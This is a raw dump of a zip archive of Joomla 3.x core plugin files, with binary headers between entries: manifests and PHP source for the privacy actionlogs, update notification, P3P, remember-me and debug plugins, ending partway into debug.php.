		<filename plugin="message">message.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_privacy_message.ini</language>
		<language tag="en-GB">en-GB.plg_privacy_message.sys.ini</language>
	</languages>
</extension>
PK�(]�N��!privacy/actionlogs/actionlogs.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="privacy" method="upgrade">
	<name>plg_privacy_actionlogs</name>
	<author>Joomla! Project</author>
	<creationDate>July 2018</creationDate>
	<copyright>(C) 2018 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.9.0</version>
	<description>PLG_PRIVACY_ACTIONLOGS_XML_DESCRIPTION</description>
	<files>
		<filename plugin="actionlogs">actionlogs.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_privacy_actionlogs.ini</language>
		<language tag="en-GB">en-GB.plg_privacy_actionlogs.sys.ini</language>
	</languages>
</extension>
PK�(]�����!privacy/actionlogs/actionlogs.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Privacy.actionlogs
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('ActionlogsHelper', JPATH_ADMINISTRATOR . '/components/com_actionlogs/helpers/actionlogs.php');
JLoader::register('PrivacyPlugin', JPATH_ADMINISTRATOR . '/components/com_privacy/helpers/plugin.php');

/**
 * Privacy plugin managing Joomla actionlogs data
 *
 * @since  3.9.0
 */
class PlgPrivacyActionlogs extends PrivacyPlugin
{
	/**
	 * Processes an export request for Joomla core actionlog data
	 *
	 * @param   PrivacyTableRequest  $request  The request record being processed
	 * @param   JUser                $user     The user account associated with this request if available
	 *
	 * @return  PrivacyExportDomain[]
	 *
	 * @since   3.9.0
	 */
	public function onPrivacyExportRequest(PrivacyTableRequest $request, JUser $user = null)
	{
		if (!$user)
		{
			return array();
		}

		$domain = $this->createDomain('user_action_logs', 'joomla_user_action_logs_data');

		$query = $this->db->getQuery(true)
			->select('a.*, u.name')
			->from('#__action_logs AS a')
			->innerJoin('#__users AS u ON a.user_id = u.id')
			->where($this->db->quoteName('a.user_id') . ' = ' . (int) $user->id);

		$this->db->setQuery($query);

		$data = $this->db->loadObjectList();

		if (!count($data))
		{
			return array();
		}

		$data    = ActionlogsHelper::getCsvData($data);
		$isFirst = true;

		foreach ($data as $item)
		{
			if ($isFirst)
			{
				$isFirst = false;

				continue;
			}

			$domain->addItem($this->createItemFromArray($item));
		}

		return array($domain);
	}
}
PK�(]�����9system/updatenotification/postinstall/updatecachetime.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.updatenotification
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

/**
 * Checks if the com_installer config for the cache Hours are eq 0 and the updatenotification Plugin is enabled
 *
 * @return  boolean
 *
 * @since   3.6.3
 */
function updatecachetime_postinstall_condition()
{
	$cacheTimeout = (int) JComponentHelper::getComponent('com_installer')->params->get('cachetimeout', 6);

	// Check if cachetimeout is eq zero
	if ($cacheTimeout === 0 && JPluginHelper::isEnabled('system', 'updatenotification'))
	{
		return true;
	}

	return false;
}

/**
 * Sets the cachetimeout back to the default (6 hours)
 *
 * @return  void
 *
 * @since   3.6.3
 */
function updatecachetime_postinstall_action()
{
	$installer = JComponentHelper::getComponent('com_installer');

	// Sets the cachetimeout back to the default (6 hours)
	$installer->params->set('cachetimeout', 6);

	// Save the new parameters back to com_installer
	$table = JTable::getInstance('extension');
	$table->load($installer->id);
	$table->bind(array('params' => $installer->params->toString()));

	// Store the changes
	if (!$table->store())
	{
		// If there is an error show it to the admin
		JFactory::getApplication()->enqueueMessage($table->getError(), 'error');
	}
}
PK�(]�Z::0system/updatenotification/updatenotification.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3.6" type="plugin" group="system" method="upgrade">
	<name>plg_system_updatenotification</name>
	<author>Joomla! Project</author>
	<creationDate>May 2015</creationDate>
	<copyright>(C) 2015 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.5.0</version>
	<description>PLG_SYSTEM_UPDATENOTIFICATION_XML_DESCRIPTION</description>
	<files>
		<filename plugin="updatenotification">updatenotification.php</filename>
	</files>
	<languages folder="language">
		<language tag="en-GB">en-GB.plg_system_updatenotification.ini</language>
		<language tag="en-GB">en-GB.plg_system_updatenotification.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="email"
					type="text"
					label="PLG_SYSTEM_UPDATENOTIFICATION_EMAIL_LBL"
					description="PLG_SYSTEM_UPDATENOTIFICATION_EMAIL_DESC"
					default=""
					size="40"
				/>

				<field
					name="language_override"
					type="language"
					label="PLG_SYSTEM_UPDATENOTIFICATION_LANGUAGE_OVERRIDE_LBL"
					description="PLG_SYSTEM_UPDATENOTIFICATION_LANGUAGE_OVERRIDE_DESC"
					default=""
					client="administrator"
					>
					<option value="">PLG_SYSTEM_UPDATENOTIFICATION_LANGUAGE_OVERRIDE_NONE</option>
				</field>

				<field
					name="lastrun"
					type="hidden"
					default="0"
					size="15"
				/>
			</fieldset>
		</fields>
	</config>
</extension>
PK�(]��&�V-V-0system/updatenotification/updatenotification.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.updatenotification
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Uncomment the following line to enable debug mode (update notification email sent every single time)
// define('PLG_SYSTEM_UPDATENOTIFICATION_DEBUG', 1);

/**
 * Joomla! Update Notification plugin
 *
 * Sends out an email to all Super Users or a predefined email address when a new Joomla! version is available.
 *
 * This plugin is a direct adaptation of the corresponding plugin in Akeeba Ltd's Admin Tools. The author has
 * consented to relicensing their plugin's code under GPLv2 or later (the original version was licensed under
 * GPLv3 or later) to allow its inclusion in the Joomla! CMS.
 *
 * @since  3.5
 */
class PlgSystemUpdatenotification extends JPlugin
{
	/**
	 * Load plugin language files automatically
	 *
	 * @var    boolean
	 * @since  3.6.3
	 */
	protected $autoloadLanguage = true;

	/**
	 * The update check and notification email code is triggered after the page has fully rendered.
	 *
	 * @return  void
	 *
	 * @since   3.5
	 */
	public function onAfterRender()
	{
		// Get the timeout for Joomla! updates, as configured in com_installer's component parameters
		$component = JComponentHelper::getComponent('com_installer');

		/** @var \Joomla\Registry\Registry $params */
		$params        = $component->params;
		$cache_timeout = (int) $params->get('cachetimeout', 6);
		$cache_timeout = 3600 * $cache_timeout;

		// Do we need to run? Compare the last run timestamp stored in the plugin's options with the current
		// timestamp. If the difference is greater than the cache timeout we shall not execute again.
		$now  = time();
		$last = (int) $this->params->get('lastrun', 0);

		if (!defined('PLG_SYSTEM_UPDATENOTIFICATION_DEBUG') && (abs($now - $last) < $cache_timeout))
		{
			return;
		}

		// Update last run status
		// If I have the time of the last run, I can update, otherwise insert
		$this->params->set('lastrun', $now);

		$db = JFactory::getDbo();
		$query = $db->getQuery(true)
					->update($db->qn('#__extensions'))
					->set($db->qn('params') . ' = ' . $db->q($this->params->toString('JSON')))
					->where($db->qn('type') . ' = ' . $db->q('plugin'))
					->where($db->qn('folder') . ' = ' . $db->q('system'))
					->where($db->qn('element') . ' = ' . $db->q('updatenotification'));

		try
		{
			// Lock the tables to prevent multiple plugin executions causing a race condition
			$db->lockTable('#__extensions');
		}
		catch (Exception $e)
		{
			// If we can't lock the tables it's too risky to continue execution
			return;
		}

		try
		{
			// Update the plugin parameters
			$result = $db->setQuery($query)->execute();

			$this->clearCacheGroups(array('com_plugins'), array(0, 1));
		}
		catch (Exception $exc)
		{
			// If we failed to execute
			$db->unlockTables();
			$result = false;
		}

		try
		{
			// Unlock the tables after writing
			$db->unlockTables();
		}
		catch (Exception $e)
		{
			// If we can't lock the tables assume we have somehow failed
			$result = false;
		}

		// Abort on failure
		if (!$result)
		{
			return;
		}

		// This is the extension ID for Joomla! itself
		$eid = 700;

		// Get any available updates
		$updater = JUpdater::getInstance();
		$results = $updater->findUpdates(array($eid), $cache_timeout);

		// If there are no updates our job is done. We need BOTH this check AND the one below.
		if (!$results)
		{
			return;
		}

		// Unfortunately Joomla! MVC doesn't allow us to autoload classes
		JModelLegacy::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_installer/models', 'InstallerModel');

		// Get the update model and retrieve the Joomla! core updates
		$model = JModelLegacy::getInstance('Update', 'InstallerModel');
		$model->setState('filter.extension_id', $eid);
		$updates = $model->getItems();

		// If there are no updates we don't have to notify anyone about anything. This is NOT a duplicate check.
		if (empty($updates))
		{
			return;
		}

		// Get the available update
		$update = array_pop($updates);

		// Check the available version. If it's the same or less than the installed version we have no updates to notify about.
		if (version_compare($update->version, JVERSION, 'le'))
		{
			return;
		}

		// If we're here, we have updates. First, get a link to the Joomla! Update component.
		$baseURL  = JUri::base();
		$baseURL  = rtrim($baseURL, '/');
		$baseURL .= (substr($baseURL, -13) !== 'administrator') ? '/administrator/' : '/';
		$baseURL .= 'index.php?option=com_joomlaupdate';
		$uri      = new JUri($baseURL);

		/**
		 * Some third party security solutions require a secret query parameter to allow log in to the administrator
		 * backend of the site. The link generated above will be invalid and could probably block the user out of their
		 * site, confusing them (they can't understand the third party security solution is not part of Joomla! proper).
		 * So, we're calling the onBuildAdministratorLoginURL system plugin event to let these third party solutions
		 * add any necessary secret query parameters to the URL. The plugins are supposed to have a method with the
		 * signature:
		 *
		 * public function onBuildAdministratorLoginURL(JUri &$uri);
		 *
		 * The plugins should modify the $uri object directly and return null.
		 */

		JEventDispatcher::getInstance()->trigger('onBuildAdministratorLoginURL', array(&$uri));

		// Let's find out the email addresses to notify
		$superUsers    = array();
		$specificEmail = $this->params->get('email', '');

		if (!empty($specificEmail))
		{
			$superUsers = $this->getSuperUsers($specificEmail);
		}

		if (empty($superUsers))
		{
			$superUsers = $this->getSuperUsers();
		}

		if (empty($superUsers))
		{
			return;
		}

		/*
		 * Load the appropriate language. We try to load English (UK), the current user's language and the forced
		 * language preference, in this order. This ensures that we'll never end up with untranslated strings in the
		 * update email which would make Joomla! seem bad. So, please, if you don't fully understand what the
		 * following code does DO NOT TOUCH IT. It makes the difference between a hobbyist CMS and a professional
		 * solution! 
		 */
		$jLanguage = JFactory::getLanguage();
		$jLanguage->load('plg_system_updatenotification', JPATH_ADMINISTRATOR, 'en-GB', true, true);
		$jLanguage->load('plg_system_updatenotification', JPATH_ADMINISTRATOR, null, true, false);

		// Then try loading the preferred (forced) language
		$forcedLanguage = $this->params->get('language_override', '');

		if (!empty($forcedLanguage))
		{
			$jLanguage->load('plg_system_updatenotification', JPATH_ADMINISTRATOR, $forcedLanguage, true, false);
		}

		// Set up the email subject and body

		$email_subject = JText::_('PLG_SYSTEM_UPDATENOTIFICATION_EMAIL_SUBJECT');
		$email_body    = JText::_('PLG_SYSTEM_UPDATENOTIFICATION_EMAIL_BODY');

		// Replace merge codes with their values
		$newVersion = $update->version;

		$jVersion       = new JVersion;
		$currentVersion = $jVersion->getShortVersion();

		$jConfig  = JFactory::getConfig();
		$sitename = $jConfig->get('sitename');
		$mailFrom = $jConfig->get('mailfrom');
		$fromName = $jConfig->get('fromname');

		$substitutions = array(
			'[NEWVERSION]'  => $newVersion,
			'[CURVERSION]'  => $currentVersion,
			'[SITENAME]'    => $sitename,
			'[URL]'         => JUri::base(),
			'[LINK]'        => $uri->toString(),
			'[RELEASENEWS]' => 'https://www.joomla.org/announcements/release-news/',
			'\\n'           => "\n",
		);

		foreach ($substitutions as $k => $v)
		{
			$email_subject = str_replace($k, $v, $email_subject);
			$email_body    = str_replace($k, $v, $email_body);
		}

		// Send the emails to the Super Users
		foreach ($superUsers as $superUser)
		{
			$mailer = JFactory::getMailer();
			$mailer->setSender(array($mailFrom, $fromName));
			$mailer->addRecipient($superUser->email);
			$mailer->setSubject($email_subject);
			$mailer->setBody($email_body);
			$mailer->Send();
		}
	}

	/**
	 * Returns the Super Users email information. If you provide a comma separated $email list
	 * we will check that these emails do belong to Super Users and that they have not blocked
	 * system emails.
	 *
	 * @param   null|string  $email  A list of Super Users to email
	 *
	 * @return  array  The list of Super User emails
	 *
	 * @since   3.5
	 */
	private function getSuperUsers($email = null)
	{
		// Get a reference to the database object
		$db = JFactory::getDbo();

		// Convert the email list to an array
		if (!empty($email))
		{
			$temp   = explode(',', $email);
			$emails = array();

			foreach ($temp as $entry)
			{
				$entry    = trim($entry);
				$emails[] = $db->q($entry);
			}

			$emails = array_unique($emails);
		}
		else
		{
			$emails = array();
		}

		// Get a list of groups which have Super User privileges
		$ret = array();

		try
		{
			$rootId    = JTable::getInstance('Asset', 'JTable')->getRootId();
			$rules     = JAccess::getAssetRules($rootId)->getData();
			$rawGroups = $rules['core.admin']->getData();
			$groups    = array();

			if (empty($rawGroups))
			{
				return $ret;
			}

			foreach ($rawGroups as $g => $enabled)
			{
				if ($enabled)
				{
					$groups[] = $db->q($g);
				}
			}

			if (empty($groups))
			{
				return $ret;
			}
		}
		catch (Exception $exc)
		{
			return $ret;
		}

		// Get the user IDs of users belonging to the SA groups
		try
		{
			$query = $db->getQuery(true)
						->select($db->qn('user_id'))
						->from($db->qn('#__user_usergroup_map'))
						->where($db->qn('group_id') . ' IN(' . implode(',', $groups) . ')');
			$db->setQuery($query);
			$rawUserIDs = $db->loadColumn(0);

			if (empty($rawUserIDs))
			{
				return $ret;
			}

			$userIDs = array();

			foreach ($rawUserIDs as $id)
			{
				$userIDs[] = $db->q($id);
			}
		}
		catch (Exception $exc)
		{
			return $ret;
		}

		// Get the user information for the Super Administrator users
		try
		{
			$query = $db->getQuery(true)
						->select(
							array(
								$db->qn('id'),
								$db->qn('username'),
								$db->qn('email'),
							)
						)->from($db->qn('#__users'))
						->where($db->qn('id') . ' IN(' . implode(',', $userIDs) . ')')
						->where($db->qn('block') . ' = 0')
						->where($db->qn('sendEmail') . ' = ' . $db->q('1'));

			if (!empty($emails))
			{
				$query->where('LOWER(' . $db->qn('email') . ') IN(' . implode(',', array_map('strtolower', $emails)) . ')');
			}

			$db->setQuery($query);
			$ret = $db->loadObjectList();
		}
		catch (Exception $exc)
		{
			return $ret;
		}

		return $ret;
	}

	/**
	 * Clears cache groups. We use it to clear the plugins cache after we update the last run timestamp.
	 *
	 * @param   array  $clearGroups   The cache groups to clean
	 * @param   array  $cacheClients  The cache clients (site, admin) to clean
	 *
	 * @return  void
	 *
	 * @since   3.5
	 */
	private function clearCacheGroups(array $clearGroups, array $cacheClients = array(0, 1))
	{
		$conf = JFactory::getConfig();

		foreach ($clearGroups as $group)
		{
			foreach ($cacheClients as $client_id)
			{
				try
				{
					$options = array(
						'defaultgroup' => $group,
						'cachebase'    => $client_id ? JPATH_ADMINISTRATOR . '/cache' :
							$conf->get('cache_path', JPATH_SITE . '/cache')
					);

					$cache = JCache::getInstance('callback', $options);
					$cache->clean();
				}
				catch (Exception $e)
				{
					// Ignore it
				}
			}
		}
	}
}
PK�(]�!$$system/p3p/p3p.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="system" method="upgrade">
	<name>plg_system_p3p</name>
	<author>Joomla! Project</author>
	<creationDate>September 2010</creationDate>
	<copyright>(C) 2010 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_P3P_XML_DESCRIPTION</description>
	<files>
		<filename plugin="p3p">p3p.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_system_p3p.ini</language>
		<language tag="en-GB">en-GB.plg_system_p3p.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="header"
					type="text"
					label="PLG_P3P_HEADER_LABEL"
					description="PLG_P3P_HEADER_DESCRIPTION"
					default="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
					size="37"
				/>
			</fieldset>
		</fields>
	</config>
</extension>
PK�(]�g��system/p3p/p3p.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.p3p
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Joomla! P3P Header Plugin.
 *
 * @since  1.6
 * @deprecate  4.0  Obsolete
 */
class PlgSystemP3p extends JPlugin
{
	/**
	 * After initialise.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 * @deprecate  4.0  Obsolete
	 */
	public function onAfterInitialise()
	{
		// Get the header.
		$header = $this->params->get('header', 'NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM');
		$header = trim($header);

		// Bail out on empty header (why would anyone do that?!).
		if (empty($header))
		{
			return;
		}

		// Replace any existing P3P headers in the response.
		JFactory::getApplication()->setHeader('P3P', 'CP="' . $header . '"', true);
	}
}
PK�(]�-��system/remember/remember.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="system" method="upgrade">
	<name>plg_system_remember</name>
	<author>Joomla! Project</author>
	<creationDate>April 2007</creationDate>
	<copyright>(C) 2007 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_REMEMBER_XML_DESCRIPTION</description>
	<files>
		<filename plugin="remember">remember.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_system_remember.ini</language>
		<language tag="en-GB">en-GB.plg_system_remember.sys.ini</language>
	</languages>
</extension>
PK�(]���
�
system/remember/remember.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.remember
 *
 * @copyright   (C) 2007 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Joomla! System Remember Me Plugin
 *
 * @since  1.5
 */

class PlgSystemRemember extends JPlugin
{
	/**
	 * Application object.
	 *
	 * @var    JApplicationCms
	 * @since  3.2
	 */
	protected $app;

	/**
	 * Remember me method to run onAfterInitialise
	 * Only purpose is to initialise the login authentication process if a cookie is present
	 *
	 * @return  void
	 *
	 * @since   1.5
	 * @throws  InvalidArgumentException
	 */
	public function onAfterInitialise()
	{
		// Get the application if not done by JPlugin. This may happen during upgrades from Joomla 2.5.
		if (!$this->app)
		{
			$this->app = JFactory::getApplication();
		}

		// No remember me for admin.
		if ($this->app->isClient('administrator'))
		{
			return;
		}

		// Check for a cookie if user is not logged in
		if (JFactory::getUser()->get('guest'))
		{
			$cookieName = 'joomla_remember_me_' . JUserHelper::getShortHashedUserAgent();

			// Try with old cookieName (pre 3.6.0) if not found
			if (!$this->app->input->cookie->get($cookieName))
			{
				$cookieName = JUserHelper::getShortHashedUserAgent();
			}

			// Check for the cookie
			if ($this->app->input->cookie->get($cookieName))
			{
				$this->app->login(array('username' => ''), array('silent' => true));
			}
		}
	}

	/**
	 * Imports the authentication plugin on user logout to make sure that the cookie is destroyed.
	 *
	 * @param   array  $user     Holds the user data.
	 * @param   array  $options  Array holding options (remember, autoregister, group).
	 *
	 * @return  boolean
	 */
	public function onUserLogout($user, $options)
	{
		// No remember me for admin
		if ($this->app->isClient('administrator'))
		{
			return true;
		}

		$cookieName = 'joomla_remember_me_' . JUserHelper::getShortHashedUserAgent();

		// Check for the cookie
		if ($this->app->input->cookie->get($cookieName))
		{
			// Make sure authentication group is loaded to process onUserAfterLogout event
			JPluginHelper::importPlugin('authentication');
		}

		return true;
	}

	/**
	 * Method is called before user data is stored in the database
	 * Invalidate all existing remember-me cookies after a password change
	 *
	 * @param   array    $user   Holds the old user data.
	 * @param   boolean  $isnew  True if a new user is stored.
	 * @param   array    $data   Holds the new user data.
	 *
	 * @return    boolean
	 *
	 * @since   3.8.6
	 */
	public function onUserBeforeSave($user, $isnew, $data)
	{
		// Irrelevant on new users
		if ($isnew)
		{
			return true;
		}

		// Irrelevant, because password was not changed by user
		if (empty($data['password_clear']))
		{
			return true;
		}

		/*
		 * But now, we need to do something 
		 * Delete all tokens for this user!
		 */
		$db = JFactory::getDbo();
		$query = $db->getQuery(true)
			->delete('#__user_keys')
			->where($db->quoteName('user_id') . ' = ' . $db->quote($user['username']));
		try
		{
			$db->setQuery($query)->execute();
		}
		catch (RuntimeException $e)
		{
			// Log an alert for the site admin
			JLog::add(
				sprintf('Failed to delete cookie token for user %s with the following error: %s', $user['username'], $e->getMessage()),
				JLog::WARNING,
				'security'
			);
		}

		return true;
	}
}
PK�(]�i�>>system/debug/debug.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="system" method="upgrade">
	<name>plg_system_debug</name>
	<author>Joomla! Project</author>
	<creationDate>December 2006</creationDate>
	<copyright>(C) 2006 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_DEBUG_XML_DESCRIPTION</description>
	<files>
		<filename plugin="debug">debug.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_system_debug.ini</language>
		<language tag="en-GB">en-GB.plg_system_debug.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="filter_groups"
					type="usergrouplist"
					label="PLG_DEBUG_FIELD_ALLOWED_GROUPS_LABEL"
					description="PLG_DEBUG_FIELD_ALLOWED_GROUPS_DESC"
					multiple="true"
					filter="int_array"
					size="10"
				/>

				<field
					name="session"
					type="radio"
					label="PLG_DEBUG_FIELD_SESSION_LABEL"
					description="PLG_DEBUG_FIELD_SESSION_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="profile"
					type="radio"
					label="PLG_DEBUG_FIELD_PROFILING_LABEL"
					description="PLG_DEBUG_FIELD_PROFILING_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="queries"
					type="radio"
					label="PLG_DEBUG_FIELD_QUERIES_LABEL"
					description="PLG_DEBUG_FIELD_QUERIES_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="query_types"
					type="radio"
					label="PLG_DEBUG_FIELD_QUERY_TYPES_LABEL"
					description="PLG_DEBUG_FIELD_QUERY_TYPES_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="memory"
					type="radio"
					label="PLG_DEBUG_FIELD_MEMORY_LABEL"
					description="PLG_DEBUG_FIELD_MEMORY_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="logs"
					type="radio"
					label="PLG_DEBUG_FIELD_LOGS_LABEL"
					description="PLG_DEBUG_FIELD_LOGS_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="log_priorities"
					type="list"
					label="PLG_DEBUG_FIELD_LOG_PRIORITIES_LABEL"
					description="PLG_DEBUG_FIELD_LOG_PRIORITIES_DESC"
					multiple="true"
					default="all"
					>
					<option value="all">PLG_DEBUG_FIELD_LOG_PRIORITIES_ALL</option>
					<option value="emergency">PLG_DEBUG_FIELD_LOG_PRIORITIES_EMERGENCY</option>
					<option value="alert">PLG_DEBUG_FIELD_LOG_PRIORITIES_ALERT</option>
					<option value="critical">PLG_DEBUG_FIELD_LOG_PRIORITIES_CRITICAL</option>
					<option value="error">PLG_DEBUG_FIELD_LOG_PRIORITIES_ERROR</option>
					<option value="warning">PLG_DEBUG_FIELD_LOG_PRIORITIES_WARNING</option>
					<option value="notice">PLG_DEBUG_FIELD_LOG_PRIORITIES_NOTICE</option>
					<option value="info">PLG_DEBUG_FIELD_LOG_PRIORITIES_INFO</option>
					<option value="debug">PLG_DEBUG_FIELD_LOG_PRIORITIES_DEBUG</option>
				</field>

				<field
					name="log_categories"
					type="text"
					label="PLG_DEBUG_FIELD_LOG_CATEGORIES_LABEL"
					description="PLG_DEBUG_FIELD_LOG_CATEGORIES_DESC"
					size="60"
				/>

				<field
					name="log_category_mode"
					type="radio"
					label="PLG_DEBUG_FIELD_LOG_CATEGORY_MODE_LABEL"
					description="PLG_DEBUG_FIELD_LOG_CATEGORY_MODE_DESC"
					default="0"
					filter="integer"
					class="btn-group btn-group-yesno btn-group-reversed"
					>
					<option value="0">PLG_DEBUG_FIELD_LOG_CATEGORY_MODE_INCLUDE</option>
					<option value="1">PLG_DEBUG_FIELD_LOG_CATEGORY_MODE_EXCLUDE</option>
				</field>

				<field
					name="refresh_assets"
					type="radio"
					label="PLG_DEBUG_FIELD_REFRESH_ASSETS_LABEL"
					description="PLG_DEBUG_FIELD_REFRESH_ASSETS_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>
			</fieldset>

			<fieldset
				name="language"
				label="PLG_DEBUG_LANGUAGE_FIELDSET_LABEL"
				>

				<field
					name="language_errorfiles"
					type="radio"
					label="PLG_DEBUG_FIELD_LANGUAGE_ERRORFILES_LABEL"
					description="PLG_DEBUG_FIELD_LANGUAGE_ERRORFILES_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="language_files"
					type="radio"
					label="PLG_DEBUG_FIELD_LANGUAGE_FILES_LABEL"
					description="PLG_DEBUG_FIELD_LANGUAGE_FILES_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="language_strings"
					type="radio"
					label="PLG_DEBUG_FIELD_LANGUAGE_STRING_LABEL"
					description="PLG_DEBUG_FIELD_LANGUAGE_STRING_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="strip-first"
					type="radio"
					label="PLG_DEBUG_FIELD_STRIP_FIRST_LABEL"
					description="PLG_DEBUG_FIELD_STRIP_FIRST_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="strip-prefix"
					type="textarea"
					label="PLG_DEBUG_FIELD_STRIP_PREFIX_LABEL"
					description="PLG_DEBUG_FIELD_STRIP_PREFIX_DESC"
					cols="30"
					rows="4"
				/>

				<field
					name="strip-suffix"
					type="textarea"
					label="PLG_DEBUG_FIELD_STRIP_SUFFIX_LABEL"
					description="PLG_DEBUG_FIELD_STRIP_SUFFIX_DESC"
					cols="30"
					rows="4"
				/>
			</fieldset>

			<fieldset
				name="logging"
				label="PLG_DEBUG_LOGGING_FIELDSET_LABEL"
				>
				<field
					name="log-deprecated"
					type="radio"
					label="PLG_DEBUG_FIELD_LOG_DEPRECATED_LABEL"
					description="PLG_DEBUG_FIELD_LOG_DEPRECATED_DESC"
					class="btn-group btn-group-yesno"
					default="0"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="log-everything"
					type="radio"
					label="PLG_DEBUG_FIELD_LOG_EVERYTHING_LABEL"
					description="PLG_DEBUG_FIELD_LOG_EVERYTHING_DESC"
					class="btn-group btn-group-yesno"
					default="0"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="log-executed-sql"
					type="radio"
					label="PLG_DEBUG_FIELD_EXECUTEDSQL_LABEL"
					description="PLG_DEBUG_FIELD_EXECUTEDSQL_DESC"
					class="btn-group btn-group-yesno"
					default="0"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
PK�(]�+Gb�b�system/debug/debug.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.Debug
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Utilities\ArrayHelper;

/**
 * Joomla! Debug plugin.
 *
 * @since  1.5
 */
class PlgSystemDebug extends JPlugin
{
	/**
	 * xdebug.file_link_format from the php.ini.
	 *
	 * @var    string
	 * @since  1.7
	 */
	protected $linkFormat = '';

	/**
	 * True if debug lang is on.
	 *
	 * @var    boolean
	 * @since  3.0
	 */
	private $debugLang = false;

	/**
	 * Holds log entries handled by the plugin.
	 *
	 * @var    array
	 * @since  3.1
	 */
	private $logEntries = array();

	/**
	 * Holds SHOW PROFILES of queries.
	 *
	 * @var    array
	 * @since  3.1.2
	 */
